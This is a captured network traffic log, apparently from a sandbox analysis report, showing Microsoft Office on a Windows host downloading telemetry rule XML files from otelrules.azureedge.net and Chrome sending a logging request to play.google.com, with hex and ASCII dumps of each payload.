2024-10-30 10:45:22 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49776	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:22 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 08340ebf-701e-001e-35b1-26f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104522Z-r1755647c66hxv26qums8q8fsw000000063g000000001k0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:22 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49774	142.250.186.78	443	3984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:22 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 10:45:22 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 32 38 35 31 31 39 38 38 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730285119882",null,null,null,
2024-10-30 10:45:22 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=Cm1fXmekxUsFIuH1dcqAPwsIxIRG26REHqKKg3kuwgDPyQcSozZYO529Gsz0zseKRS5BFBN-fkeNlCsqgvYlA7AmPnsjYLMaJAgDgepnyoFwTMTRIfkfaC2BFnr1EDeplb9q4TidEs9ov61nNo9NI-1476LYHDiEj2u5_PNNbhdlkO09iBY; expires=Thu, 01-May-2025 10:45:22 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 30 Oct 2024 10:45:22 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 30 Oct 2024 10:45:22 GMT Connection: close Transfer-Encoding: chunked
2024-10-30 10:45:22 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-30 10:45:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49777	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:22 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: ca0e8e6b-b01e-00ab-6a67-28dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104522Z-17fbfdc98bbz4mxcabnudsmquw0000000700000000001k34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49779	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:22 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:22 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: e7cc90bd-401e-0029-032a-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104522Z-17fbfdc98bbwj6cp6df5812g4s00000009g00000000029x1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:22 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49780	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:22 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 2399187d-801e-008f-5f67-282c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104522Z-17fbfdc98bblfj7gw4f18guu2800000009e0000000001hyc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49782	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:23 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:23 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c417f1b6-b01e-0084-279b-27d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104523Z-17fbfdc98bbbnx4ldgze4de5zs00000006gg000000003txm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:23 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49781	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:23 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:23 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104523Z-r1755647c66f4bf880huw27dwc00000009c0000000000u3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:23 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49783	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:23 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:23 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 174f78f2-a01e-0032-607a-281949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104523Z-17fbfdc98bb9xxzfyggrfrbqmw0000000760000000003nfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:23 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49785	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:23 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:23 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: b19a9190-b01e-00ab-7309-28dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104523Z-17fbfdc98bb9cv5m0pampz446s000000079g000000003vh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:23 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49786	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:23 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:23 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 95c67357-201e-0051-60f5-247340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104523Z-17fbfdc98bbp77nqf5g2c5aavs00000007mg000000002e9k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:23 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49787	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:24 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
